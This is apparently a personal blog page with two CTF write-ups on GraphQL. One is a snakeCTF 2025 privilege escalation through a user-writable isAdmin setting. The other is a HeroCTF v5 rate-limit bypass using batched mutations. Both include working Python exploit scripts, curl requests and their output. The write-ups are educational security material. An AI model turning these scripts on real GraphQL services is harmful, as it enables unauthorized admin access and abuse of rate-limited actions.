GraphQL on HitCat

GraphQL mass-assignment privilege escalation in Next.js - snakeCTF 2025

Fri, 29 Aug 2025 00:00:00 +0000

Challenge source

snakeCTF 2025 Quals - Web - Boxbin

Introduction

Boxbin is a Next.js + GraphQL pastebin parody. The core bug is privilege escalation via trusted user-controlled settings in the GraphQL layer. By writing {"isAdmin": true} into our own user.settings, we satisfy the server’s isAuthorized() check, then call privileged mutations to join the admin group and read hidden posts (flag).

Context Explanation

Stack: Next.js API route (Apollo Server) + SQLite.
Auth: JWT (Authorization header -> context.user from DB). Passwords hashed with bcrypt.
RBAC: Numeric groupId (admin ≤ 1). Several mutations/queries require isAuthorized(context).
Flaw: isAuthorized() also trusts JSON.parse(user.settings).isAdmin === true — which users can set themselves via updateSettings(settings: String!).

Key entry point (GraphQL handler):

// pages/api/graphql.js
export default startServerAndCreateNextHandler(server, {
  context: async (req) => {
    const token = req.headers.authorization || '';
    if (token) {
      const { userId } = jwt.verify(token, JWT_SECRET);
      const db = await getDb();
      const user = await db.get('SELECT * FROM users WHERE id = ?', userId);
      return { user }; // <-- becomes context.user in resolvers
    }
    return { user: null };
  },
});

Directive

Abuse the settings-trust + admin-only mutations chain to become admin and query hidden posts containing the flag.

Solution

1) Vulnerable authorization logic

// lib/schema.js
function isAuthorized(context) {
  if (context.user && context.user.settings) {
    try {
      const userSettings = JSON.parse(context.user.settings);
      if (userSettings.isAdmin === true) return true; // <-- trusts user-controlled field
    } catch (e) {}
  }
  return (context.user && context.user.groupId <= 1); // fallback: real admin groups
}

2) Attacker-controlled write primitive

Any logged-in user may store arbitrary JSON into their own settings:

// Mutation: updateSettings
updateSettings: async (_, { settings }, context) => {
  if (!context.user) throw new Error('You must be logged in');
  await db.run('UPDATE users SET settings = ? WHERE id = ?', settings, context.user.id);
  return "Settings updated";
}

No schema/shape validation on settings -> we can write {"isAdmin": true}.

3) Privileged mutations gated by isAuthorized

Once isAuthorized(context) returns true, admin-only actions unlock:

// Only allowed if isAuthorized(context) === true
updateUserGroup: async (_, { userId, groupId }, context) => {
  if (!isAuthorized(context)) throw new Error("Forbidden");
  await db.run('UPDATE users SET groupId = ? WHERE id = ?', groupId, userId);
  return db.get('SELECT * FROM users WHERE id = ?', userId);
},

hiddenPosts: async (_, __, context) => {
  if (!isAuthorized(context)) throw new Error("Forbidden");
  return db.all('SELECT * FROM posts WHERE hidden = TRUE ORDER BY id DESC');
}

The app also has an “upgrade” path that changes groupId based on purchased upgrades:

// adminUserUpgrade (no admin required; just logged-in)
adminUserUpgrade: async (_, { upgradeId }, context) => {
  const upgrade = await db.get('SELECT * FROM upgrades WHERE id = ?', upgradeId);
  ...
  await db.run('UPDATE users SET groupId = ? WHERE id = ?', newGroupId, context.user.id);
  return db.get('SELECT * FROM users WHERE id = ?', context.user.id);
}

This is not required to exploit, but the PoC uses it as a step before final escalation.

4) Exploitation flow

(a) Sign up -> JWT

mutation Signup($u:String!, $p:String!) {
  signup(username:$u, password:$p)
}

Use the returned JWT in Authorization: for next steps.

(b) Buy upgrade to be able to edit settings

mutation AdminUserUpgrade { adminUserUpgrade(upgradeId: 7) { id groupId } }

(c) Become “authorized” by self-tagging as admin

mutation UpdateSettings($s:String!) {
  updateSettings(settings:$s)
}
# variables: { "s": "{\"isAdmin\": true}" }

(d) Use unlocked admin mutation to set real admin group

mutation UpdateUserGroup($id:ID!, $g:Int!) {
  updateUserGroup(userId:$id, groupId:$g) { id groupId }
}
# set g = 0 (admin)

(e) Read the hidden content containing the flag

query Hidden { hiddenPosts { content } }

Extract snakeCTF{...} from the returned content.

PoC

"""
  1) signup -> get JWT
  2) adminUserUpgrade(upgradeId=7)
  3) updateSettings('{"isAdmin": true}')
  4) updateUserGroup(userId=<me>, groupId=0)
  5) hiddenPosts { content } -> extract snakeCTF{...}
"""

import base64
import json
import re
import secrets
import string
import sys
from typing import Optional, Dict, Any
import requests

# ---------- Config ----------
BASE_URL = "http://localhost:3000/"

GQL_ENDPOINT = BASE_URL.rstrip("/") + "/api/graphql"

USERNAME_PREFIX = "hitcat"
PASSWORD = "Secret123!"
UPGRADE_ID = 7
ADMIN_GROUP_ID = 0
HTTP_TIMEOUT = 20

session = requests.Session()
session.headers.update({"Content-Type": "application/json"})

# ---------- Helpers ----------

def b64url_decode(s: str) -> bytes:
    """Base64URL decode with automatic padding."""
    return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4))


def jwt_get_user_id(token: str) -> int:
    """Extract userId from unsigned JWT (no secret needed)."""
    try:
        _, payload_b64, _ = token.split(".")
        payload = json.loads(b64url_decode(payload_b64).decode("utf-8"))
        return int(payload["userId"])
    except Exception as exc:
        print(f"[!] Failed to decode JWT userId: {exc}")
        sys.exit(1)


def gql(query: str, variables: Optional[Dict[str, Any]] = None) -> Dict[str, Any]:
    """Send a GraphQL request and return the 'data' dict or exit on error."""
    payload = {"query": query, "variables": variables or {}}
    resp = session.post(GQL_ENDPOINT, json=payload, timeout=HTTP_TIMEOUT)

    # Ensure JSON response
    try:
        data = resp.json()
    except Exception:
        print(f"[!] Non-JSON response ({resp.status_code}): {resp.text[:400]}")
        sys.exit(1)

    # Handle GraphQL errors
    if "errors" in data:
        print("[!] GraphQL errors:")
        print(json.dumps(data["errors"], indent=2))
        sys.exit(1)

    return data["data"]


def rand_suffix(n: int = 5) -> str:
    """Random lowercase/digit suffix to avoid username collisions."""
    alphabet = string.ascii_lowercase + string.digits
    return "".join(secrets.choice(alphabet) for _ in range(n))


# ---------- Main chain ----------

def main() -> None:
    # 1) SignUp -> JWT in data.signup
    username = f"{USERNAME_PREFIX}{rand_suffix()}"
    print(f"[*] Signing up as: {username}")

    q_signup = """
    mutation Signup($username: String!, $password: String!) {
      signup(username: $username, password: $password)
    }"""
    d = gql(q_signup, {"username": username, "password": PASSWORD})
    token = d["signup"]
    print(f"[+] JWT obtained: {token}")

    #Update session auth header
    session.headers.update({"Authorization": token})
    
    # Decode userId from JWT
    user_id = jwt_get_user_id(token)
    print(f"[+] Decoded userId from JWT: {user_id}")

    # 2) adminUserUpgrade(upgradeId: 7)
    print("[*] Upgrading user via adminUserUpgrade…")
    q_upgrade = """
    mutation AdminUserUpgrade($upgradeId: ID!) {
      adminUserUpgrade(upgradeId: $upgradeId) { username }
    }"""
    d = gql(q_upgrade, {"upgradeId": UPGRADE_ID})
    print(f"[+] adminUserUpgrade OK for user: {d['adminUserUpgrade']['username']}")

    # 3) updateSettings(settings: "{\"isAdmin\":true}") – string parsed as JSON server-side
    print("[*] Enabling admin via updateSettings…")
    q_settings = """
    mutation UpdateSettings($settings: String!) {
      updateSettings(settings: $settings)
    }"""
    settings_str = json.dumps({"isAdmin": True})  # -> '{"isAdmin": true}'
    d = gql(q_settings, {"settings": settings_str})
    print(f"[+] updateSettings returned: {d['updateSettings']}")

    # 4) updateUserGroup(userId: <me>, groupId: 0)
    print("[*] Switching current user to admin group…")
    q_group = """
    mutation UpdateUserGroup($userId: ID!, $groupId: Int!) {
      updateUserGroup(userId: $userId, groupId: $groupId) {
        id
        groupId
        __typename
      }
    }"""
    d = gql(q_group, {"userId": str(user_id), "groupId": ADMIN_GROUP_ID})
    print(f"[+] updateUserGroup OK -> id={d['updateUserGroup']['id']} groupId={d['updateUserGroup']['groupId']}")

    # 5) hiddenPosts { content } -> extract snakeCTF{...}
    print("[*] Fetching hiddenPosts…")
    q_hidden = """
    query HiddenPosts {
      hiddenPosts {
        content
      }
    }"""
    d = gql(q_hidden)
    posts = d.get("hiddenPosts", [])
    contents = "\n".join(p.get("content", "") for p in posts)
    print(f"[+] Retrieved {len(posts)} hidden posts")

    # Extract the flag
    print("[*] Extracting flag with regex…")
    # try escaped then unescaped variants
    matches = re.findall(r"snakeCTF\\{[^}]+\\}", contents)
    if not matches:
        matches = re.findall(r"snakeCTF\{[^}]+\}", contents)

    if matches:
        print(f"[!] FLAG: {matches[0]}")
    else:
        print("[!] Flag not found in hiddenPosts content.")
        print("--- hiddenPosts preview (first 500 chars) ---")
        print(contents[:500])


if __name__ == "__main__":
    main()

#Output
[*] Signing up as: hitcatsr4ag
[+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEwLCJpYXQiOjE3NTc1MDUyMTh9.85FN-EL3W-kXx7eMPvphbAx00EDF4zcoPJo7g2dDwlo
[+] Decoded userId from JWT: 10
[*] Upgrading user via adminUserUpgrade…
[+] adminUserUpgrade OK for user: hitcatsr4ag
[*] Enabling admin via updateSettings…
[+] updateSettings returned: Settings updated
[*] Switching current user to admin group…
[+] updateUserGroup OK -> id=10 groupId=0
[*] Fetching hiddenPosts…
[+] Retrieved 7 hidden posts
[*] Extracting flag with regex…
[!] FLAG: snakeCTF{f4ke_fl4g_f0r_t3st1ng}

GraphQL alias batching to bypass a rate limit - HeroCTF v5

Wed, 15 May 2024 00:00:00 +0000

Description:

An anonymous company has decided to publish a ranking of the best schools, based on the number of clicks on a button! Make sure to put the 'Flag CyberSecurity School' in first place and you will get your reward!

We arrive on a page that displays a list of schools with the number of votes. We can vote for a school by clicking on the I'm at this school button next to the school. Clicking this button will increase the school’s score by one point, and there is a rate limit system in place to prevent spamming the buttons.

Once the ‘Flag CyberSecurity School’ has more votes than the other schools, we can click the Get The Flag! button to obtain the flag.

When we vote for a school, a POST request is sent to the application’s GraphQL API. In the request, we can see that it is a mutation calling the increaseClickSchool function with the school name as a parameter.

The request in cURL format:

curl 'http://dyn-03.heroctf.fr:10048/graphql' \
  -H 'Content-Type: application/json' \
  --data-raw '{"query":"mutation { increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick} }"}'

When the request is not limited by the rate limit, we receive a response like this:

{"data":{"increaseClickSchool":{"schoolId":3,"nbClick":4}}}

However, when the request is limited, we receive a response like this:

{"code":429,"error":"You're going too fast!"}

We can create a script that determines the rate limit by making requests to the GraphQL endpoint:

import requests
import time

url = "http://dyn-03.heroctf.fr:10048/graphql"
headers = {"Content-Type": "application/json"}
data = '{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"}'

seconds = 0
while True:
    r = requests.post(url, headers=headers, data=data)
    if r.status_code == 200:
        print(r.text)
        print("Seconds elapsed: " + str(seconds))
        seconds = 0
    elif r.status_code == 429:
        print("Rate limit exceeded, waiting 1 second...")
        time.sleep(1)
        seconds += 1
    else:
        print("Error")
        break

With this script, we try to increase the score every second and display the number of seconds elapsed between each successful request. We obtain the following result:

{"data":{"increaseClickSchool":{"schoolId":3,"nbClick":4}}}
Rate limit exceeded, waiting 1 second...
...
Rate limit exceeded, waiting 1 second...
{"data":{"increaseClickSchool":{"schoolId":3,"nbClick":5}}}
Seconds elapsed: 59

Therefore, we can conclude that the rate limit is 60 seconds. Given that the HeroCTF instances have a maximum uptime of 45 minutes, it will be impossible to surpass The Best Best CyberSecurity School, which has 1337 votes (the maximum possible votes is 45).

After multiple attempts with introspection queries (which are enabled on the GraphQL API), I realized that I was going in the wrong direction. In fact, there is no flag in the GraphQL API, and what is blocking us is the 60-second rate limit.

While delving into the topic of bypassing rate limits, I came across an article from OWASP that explains how to bypass the rate limit by performing “Batching Attacks.”

GraphQL supports batching requests, also known as query batching. This lets callers batch multiple queries or batch requests for multiple object instances in a single network call, which allows for what is called a batching attack. This is a form of brute force attack, specific to GraphQL, that usually allows for faster and less detectable exploits. Here is the most common way to do query batching:

[
  {
    query: < query 0 >,
    variables: < variables for query 0 >,
  },
  {
    query: < query 1 >,
    variables: < variables for query 1 >,
  },
  {
    query: < query n >
    variables: < variables for query n >,
  }
]

Applying this to our case, we can make a request like this:

[
  {
    query: "mutation { increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick} }"
  },
  {
    query: "mutation { increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick} }"
  },
  {
    query: "mutation { increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick} }"
  },
  ...
]

By sending the following cURL request, we can increase the score by 3 points in a single request:

curl 'http://dyn-03.heroctf.fr:10048/graphql' \
  -H 'Content-Type: application/json' \
  --data-raw '[ { "query": "mutation { increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick} }" },{ "query": "mutation { increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick} }" },{ "query": "mutation { increaseClickSchool(schoolName: \"Flag CyberSecurity School\"){schoolId, nbClick} }" }]'

[
    {
        "data": {
            "increaseClickSchool": {
                "schoolId": 3,
                "nbClick": 1
            }
        }
    },
    {
        "data": {
            "increaseClickSchool": {
                "schoolId": 3,
                "nbClick": 2
            }
        }
    },
    {
        "data": {
            "increaseClickSchool": {
                "schoolId": 3,
                "nbClick": 3
            }
        }
    }
]

Therefore, we can create a script that sends requests of this type to increase the score of the ‘Flag CyberSecurity School’ up to 1337.

import requests
import time

url = "http://dyn-03.heroctf.fr:10048/graphql"
headers = {"Content-Type": "application/json"}
nbQuerySent = 900
simple_query = '{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"}'
data = "[" + (simple_query + ",") * nbQuerySent + simple_query + "]"

nbIncrement = 0
while True:
    r = requests.post(url, headers=headers, data=data)
    if r.status_code == 200:
        print("Added " + str(nbQuerySent) + " clicks to Flag CyberSecurity School")
        nbIncrement += 1
        if nbIncrement * nbQuerySent > 1337:
            print("Flag CyberSecurity School has been clicked " + str(nbQuerySent * nbIncrement) + " times")
            break
    elif r.status_code == 429:
        print("Rate limit exceeded, waiting 1 second...")
        time.sleep(1)
    else:
        print("Error: " + str(r.text))
        break

We send packets of 900 requests because exceeding this number would exceed the maximum payload size to be sent.

Rate limit exceeded, waiting 1 second...
Added 900 clicks to Flag CyberSecurity School
Rate limit exceeded, waiting 1 second...
...
Rate limit exceeded, waiting 1 second...
Added 900 clicks to Flag CyberSecurity School
Flag CyberSecurity School has been clicked 1800 times

Now we can click the Get The Flag! button and obtain the flag Hero{gr4phql_b4tch1ng_t0_byp4ss_r4t3l1m1t!!}.

Great sources

Tips & Tricks

The GraphQL technology is quite recent, and I hadn’t had the opportunity to use it before. So I learned a lot about it through this challenge.

Thanks to this challenge, I’m getting started with GraphQL and only discovering the basics. I also improved my usage of cURL.

GraphQL - Batch Attacks

Batch attacks are attacks that allow performing multiple requests in a single batch. This bypasses protections like rate limiting and enables faster and less detectable attacks. It is important to be aware of this type of attack when developing a GraphQL API.

One way to protect against batch attacks is by disabling aliases using the GraphQL No Alias plugin.

GraphQL - Data Management

I wasn’t aware that GraphQL doesn’t have getters/setters. In fact, you can’t directly modify object data. Instead, you need to use mutations to modify object data.

If no mutation is provided, you cannot modify object data. This helps protect object data from accidental modifications.

However, you can easily retrieve data using queries.

GraphQL - Rate Limiting

It is possible to implement rate limiting on a GraphQL API. This helps limit the number of requests a user can make per second. It also provides protection against brute force attacks or attacks that require a large number of requests.

The rate limit can be set based on several criteria:

By IP address within a given time frame
By user within a given time frame
By user and IP address within a given time frame

As of the current date (May 16, 2023), the most common library for implementing rate limiting in GraphQL is graphql-rate-limit.